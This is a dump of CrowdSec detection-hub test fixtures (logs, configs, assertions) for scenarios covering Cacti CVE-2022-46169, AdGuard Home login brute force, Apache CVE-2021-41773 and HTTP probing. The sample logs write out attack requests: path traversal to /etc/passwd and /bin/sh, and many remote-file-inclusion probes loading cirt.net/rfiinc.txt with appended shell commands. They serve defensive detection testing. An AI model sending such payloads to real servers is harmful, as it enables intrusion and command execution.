results[1].Overflow.Alert.Events[3].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[1].Overflow.Alert.Events[3].GetMeta("http_verb") == "GET" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[3].GetMeta("service") == "http" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[1].Overflow.Alert.Events[4].GetMeta("datasource_path") == "CVE-2022-46169.log" results[1].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[4].GetMeta("http_args_len") == "56" results[1].Overflow.Alert.Events[4].GetMeta("http_path") == "/remote_agent.php?action=polldata&poller_id=1&host_id=1&local_data_ids[]=5" results[1].Overflow.Alert.Events[4].GetMeta("http_status") == "404" results[1].Overflow.Alert.Events[4].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[1].Overflow.Alert.Events[4].GetMeta("http_verb") == "GET" results[1].Overflow.Alert.Events[4].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[4].GetMeta("service") == "http" results[1].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[1].Overflow.Alert.Events[5].GetMeta("datasource_path") == "CVE-2022-46169.log" results[1].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[5].GetMeta("http_args_len") == "56" results[1].Overflow.Alert.Events[5].GetMeta("http_path") == "/remote_agent.php?action=polldata&poller_id=1&host_id=1&local_data_ids[]=6" results[1].Overflow.Alert.Events[5].GetMeta("http_status") == "404" results[1].Overflow.Alert.Events[5].GetMeta("http_user_agent") == "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/509.36 (KHTML, like Gecko) Safari/509.36" results[1].Overflow.Alert.Events[5].GetMeta("http_verb") == "GET" results[1].Overflow.Alert.Events[5].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[5].GetMeta("service") == "http" results[1].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-10-17T14:14:21Z" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/CVE-2022-46169-bf" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 6hub1/.tests/adguardhome-bf/000077500000000000000000000000001437532772500160215ustar00rootroot00000000000000hub1/.tests/adguardhome-bf/adguardhome-bf.log000066400000000000000000000010711437532772500213700ustar00rootroot000000000000002023/02/21 08:05:56.233208 [error] POST 127.0.0.1 /control/login: invalid username or password 2023/02/21 08:05:56.233208 [error] POST 127.0.0.1 /control/login: invalid username or password 2023/02/21 08:05:56.233208 [error] POST 127.0.0.1 /control/login: invalid username or password 2023/02/21 08:05:57.233208 [error] POST 127.0.0.1 /control/login: invalid username or password 2023/02/21 08:05:57.233208 [error] POST 127.0.0.1 /control/login: invalid username or password 2023/02/21 08:05:57.233208 [error] POST 127.0.0.1 /control/login: invalid username or passwordhub1/.tests/adguardhome-bf/config.yaml000066400000000000000000000004651437532772500201570ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/LePresidente/adguardhome-logs.yaml scenarios: - ./scenarios/LePresidente/adguardhome-bf.yaml postoverflows: - "" log_file: adguardhome-bf.log log_type: adguardhome labels: {} ignore_parsers: true override_statics: [] hub1/.tests/adguardhome-bf/parser.assert000066400000000000000000000000001437532772500205260ustar00rootroot00000000000000hub1/.tests/adguardhome-bf/scenario.assert000066400000000000000000000064211437532772500210520ustar00rootroot00000000000000len(results) == 1 "127.0.0.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["127.0.0.1"].IP == "127.0.0.1" results[0].Overflow.Sources["127.0.0.1"].Range == "" results[0].Overflow.Sources["127.0.0.1"].GetScope() == "Ip" results[0].Overflow.Sources["127.0.0.1"].GetValue() == "127.0.0.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "adguardhome-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "adguardhome_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "adguardhome" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2023-02-21T08:05:56.233208Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "adguardhome-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "adguardhome_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "adguardhome" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2023-02-21T08:05:56.233208Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "adguardhome-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "adguardhome_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "adguardhome" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2023-02-21T08:05:56.233208Z" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "adguardhome-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "adguardhome_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "adguardhome" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2023-02-21T08:05:57.233208Z" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "adguardhome-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "adguardhome_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "adguardhome" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2023-02-21T08:05:57.233208Z" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "adguardhome-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "adguardhome_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "adguardhome" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2023-02-21T08:05:57.233208Z" results[0].Overflow.Alert.GetScenario() == "LePresidente/adguardhome-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6hub1/.tests/adguardhome-logs/000077500000000000000000000000001437532772500163765ustar00rootroot00000000000000hub1/.tests/adguardhome-logs/adguardhome-logs.log000066400000000000000000000002771437532772500223310ustar00rootroot000000000000002023/02/21 08:05:56.233208 [error] POST 127.0.0.1 /control/login: invalid username or password 2023/02/21 08:06:24.400712 [info] auth: user "realuser" successfully logged in from ip 127.0.0.1hub1/.tests/adguardhome-logs/config.yaml000066400000000000000000000004161437532772500205300ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/LePresidente/adguardhome-logs.yaml scenarios: - "" postoverflows: - "" log_file: adguardhome-logs.log log_type: adguardhome labels: {} ignore_parsers: false override_statics: [] hub1/.tests/adguardhome-logs/parser.assert000066400000000000000000000077511437532772500211270ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 2 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2023/02/21 08:05:56.233208 [error] POST 127.0.0.1 /control/login: invalid username or password" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "adguardhome" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "adguardhome-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "2023/02/21 08:06:24.400712 [info] auth: user \"realuser\" successfully logged in from ip 127.0.0.1" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "adguardhome" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "adguardhome-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 2 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false len(results["s01-parse"]["LePresidente/adguardhome-logs"]) == 2 results["s01-parse"]["LePresidente/adguardhome-logs"][0].Success == true results["s01-parse"]["LePresidente/adguardhome-logs"][0].Evt.Parsed["program"] == "adguardhome" results["s01-parse"]["LePresidente/adguardhome-logs"][0].Evt.Parsed["source_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/adguardhome-logs"][0].Evt.Parsed["time"] == "08:05:56.233208" results["s01-parse"]["LePresidente/adguardhome-logs"][0].Evt.Parsed["date"] == "2023/02/21" results["s01-parse"]["LePresidente/adguardhome-logs"][0].Evt.Parsed["message"] == "2023/02/21 08:05:56.233208 [error] POST 127.0.0.1 /control/login: invalid username or password" results["s01-parse"]["LePresidente/adguardhome-logs"][0].Evt.Meta["datasource_path"] == "adguardhome-logs.log" results["s01-parse"]["LePresidente/adguardhome-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["LePresidente/adguardhome-logs"][0].Evt.Meta["log_type"] == "adguardhome_failed_auth" results["s01-parse"]["LePresidente/adguardhome-logs"][0].Evt.Meta["service"] == "adguardhome" results["s01-parse"]["LePresidente/adguardhome-logs"][0].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["LePresidente/adguardhome-logs"][1].Success == false len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 1 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "adguardhome" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time"] == "08:05:56.233208" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["date"] == "2023/02/21" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2023/02/21 08:05:56.233208 [error] POST 127.0.0.1 /control/login: invalid username or password" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2023-02-21T08:05:56.233208Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "adguardhome-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "adguardhome_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "adguardhome" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2023-02-21T08:05:56.233208Z" len(results["success"][""]) == 0hub1/.tests/adguardhome-logs/scenario.assert000066400000000000000000000000001437532772500214120ustar00rootroot00000000000000hub1/.tests/apache-cve-2021-41773/000077500000000000000000000000001437532772500162155ustar00rootroot00000000000000hub1/.tests/apache-cve-2021-41773/apache-cve-2021-41773.log000066400000000000000000000010241437532772500217560ustar00rootroot00000000000000[Fri Oct 08 17:08:41.203277 2021] [core:error] [pid 7005:tid 140667133085440] [client 88.168.206.87:14532] AH00126: Invalid URI in request GET /cgi-bin/.%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd HTTP/1.1 172.17.0.1 - - [11/Oct/2021:06:40:52 +0000] "POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1" 200 7 172.17.0.2 - - [11/Oct/2021:06:40:52 +0000] "POST /cgi-bin/.%2E/.%2E/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1" 200 7 hub1/.tests/apache-cve-2021-41773/config.yaml000066400000000000000000000004631437532772500203510ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/http-logs - ./parsers/s01-parse/crowdsecurity/apache2-logs.yaml scenarios: - scenarios/crowdsecurity/http-cve-2021-41773.yaml postoverflows: - "" log_file: apache-cve-2021-41773.log log_type: apache2 ignore_parsers: true hub1/.tests/apache-cve-2021-41773/scenario.assert000066400000000000000000000065531437532772500212540ustar00rootroot00000000000000len(results) == 3 "88.168.206.87" in results[0].Overflow.GetSources() results[0].Overflow.Sources["88.168.206.87"].IP == "88.168.206.87" results[0].Overflow.Sources["88.168.206.87"].Range == "" results[0].Overflow.Sources["88.168.206.87"].GetScope() == "Ip" results[0].Overflow.Sources["88.168.206.87"].GetValue() == "88.168.206.87" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "apache-cve-2021-41773.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/cgi-bin/.%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_error-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "88.168.206.87" results[0].Overflow.Alert.Events[0].GetMeta("sub_type") == "invalid_uri" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-cve-2021-41773" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "172.17.0.2" in results[1].Overflow.GetSources() results[1].Overflow.Sources["172.17.0.2"].IP == "172.17.0.2" results[1].Overflow.Sources["172.17.0.2"].Range == "" results[1].Overflow.Sources["172.17.0.2"].GetScope() == "Ip" results[1].Overflow.Sources["172.17.0.2"].GetValue() == "172.17.0.2" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "apache-cve-2021-41773.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_args_len") == "0" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/cgi-bin/.%2E/.%2E/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "172.17.0.2" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/http-cve-2021-41773" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 1 "172.17.0.1" in results[2].Overflow.GetSources() results[2].Overflow.Sources["172.17.0.1"].IP == "172.17.0.1" results[2].Overflow.Sources["172.17.0.1"].Range == "" results[2].Overflow.Sources["172.17.0.1"].GetScope() == "Ip" results[2].Overflow.Sources["172.17.0.1"].GetValue() == "172.17.0.1" results[2].Overflow.Alert.Events[0].GetMeta("datasource_path") == "apache-cve-2021-41773.log" results[2].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[0].GetMeta("http_args_len") == "0" results[2].Overflow.Alert.Events[0].GetMeta("http_path") == "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" results[2].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[2].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[2].Overflow.Alert.Events[0].GetMeta("service") == "http" results[2].Overflow.Alert.Events[0].GetMeta("source_ip") == "172.17.0.1" results[2].Overflow.Alert.GetScenario() == "crowdsecurity/http-cve-2021-41773" results[2].Overflow.Alert.Remediation == true results[2].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/apache-http-probing/000077500000000000000000000000001437532772500170105ustar00rootroot00000000000000hub1/.tests/apache-http-probing/apache-http-probing.log000066400000000000000000000243011437532772500233470ustar00rootroot00000000000000172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /src/scripture.php?pageHeaderFile=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /starnet/themes/c-sky/main.inc.php?cmsdir=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /start.php?lang=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /start.php?pg=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /stat_modules/users_age/module.php?phpbb_root_path=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /stats.php?vwar_root=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /stats.php?vwar_root=http://cirt.net/rfiinc.txt??&cmd=ls HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /stphpapplication.php?STPHPLIB_DIR=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /stphpbtnimage.php?STPHPLIB_DIR=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /stphpform.php?STPHPLIB_DIR=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /str.php?p=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /streamline-1.0-beta4/src/core/theme/includes/account_footer.php?sl_theme_unix_path=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /streamline-1.0-beta4/src/core/theme/includes/account_footer.php?sl_theme_unix_path=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /strload.php?LangFile=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /studip-1.3.0-2/studip-htdocs/archiv_assi.php?cmd=ls -al&ABSOLUTE_PATH_STUDIP=http://cirt.net/rfiinc.txt??" 400 226 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /studip-1.3.0-2/studip-phplib/oohforms.inc?cmd=ls -al&_PHPLIB[libdir]=http://cirt.net/rfiinc.txt??" 400 226 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /styles.php?toroot=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /styles/default/global_header.php?installed=23&domain=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /submit_abuse.php?path_prefix=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /submit_comment.php?path_prefix=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /subscp.php?phpbb_root_path=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /suite/index.php?pg=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /suite/index.php?pg=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /supasite/admin_auth_cookies.php?supa[db_path]=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /supasite/admin_mods.php?supa[db_path]=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /supasite/admin_news.php?supa[db_path]=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /supasite/admin_settings.php?supa[include_path]=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /supasite/admin_topics.php?supa[db_path]=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /supasite/admin_users.php?supa[db_path]=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /supasite/admin_utilities.php?supa[db_path]=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /supasite/backend_site.php?supa[include_path]=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /supasite/common_functions.php?supa[db_path]=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /supasite/site_comment.php?supa[db_path]=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /supasite/site_news.php?supa[db_path]=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /support/include/open_form.php?include_dir=http://cirt.net/rfiinc.txt??cmd=pwd HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /support/index.php?main=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /surveys/survey.inc.php?path=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /sw/lib_comment/comment.php?doc_directory=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /sw/lib_find/find.php?doc_directory=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /sw/lib_session/session.php?doc_directory=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /sw/lib_up_file/file.php?doc_directory=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /sw/lib_up_file/find_file.php?doc_directory=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /sw/lib_user/find_user.php?doc_directory=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /sw/lib_user/user.php?doc_directory=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /sys/code/box.inc.php?config[\\\"sipssys\\\"]=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /system/ImageImageMagick.php?glConf[path_system]=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /system/ImageImageMagick.php?glConf[path_system]=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /system/_b/contentFiles/gBIndex.php?gBRootPath=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /system/admin/include/item_main.php?GLOBALS=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /system/admin/include/upload_form.php?GLOBALS=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /system/command/admin.cmd.php?GLOBALS=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /system/command/download.cmd.php?GLOBALS=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /system/funcs/xkurl.php?PEARPATH=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /system/includes/pageheaderdefault.inc.php?_sysSessionPath=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /system/login.php?site_path=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /tagit2b/tagmin/delTagUser.php?configpath=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /tags.php?BBCodeFile=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /taxonservice.php?dir=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /teatro/pub/pub08_comments.php?basePath=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /technote7/skin_shop/standard/3_plugin_twindow/twindow_notice.php?shop_this_skin_path=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /template.php?actionsPage=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /template.php?blog_theme=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /template.php?pagina=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /template/Noir/index.php?site_path=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /template/Vert/index.php?pageAll=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /template/Vert/index.php?site_path=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /template/barnraiser_01/p_new_password.tpl.php?templatePath=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /template/default/footer.php?ROOT_PATH=http://cirt.net/rfiinc.txt??cmd=ls HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /template/default/test/header.php?ROOT_PATH=http://cirt.net/rfiinc.txt??cmd=ls HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /template/gwb/user_bottom.php?config[template_path]=http://cirt.net/rfiinc.txt? HTTP/1.1" 404 196 172.17.0.1 - - [29/Sep/2021:12:37:05 +0000] "GET /template/purpletech/base_include.php?page=http://cirt.net/rfiinc.txt?? HTTP/1.1" 404 196 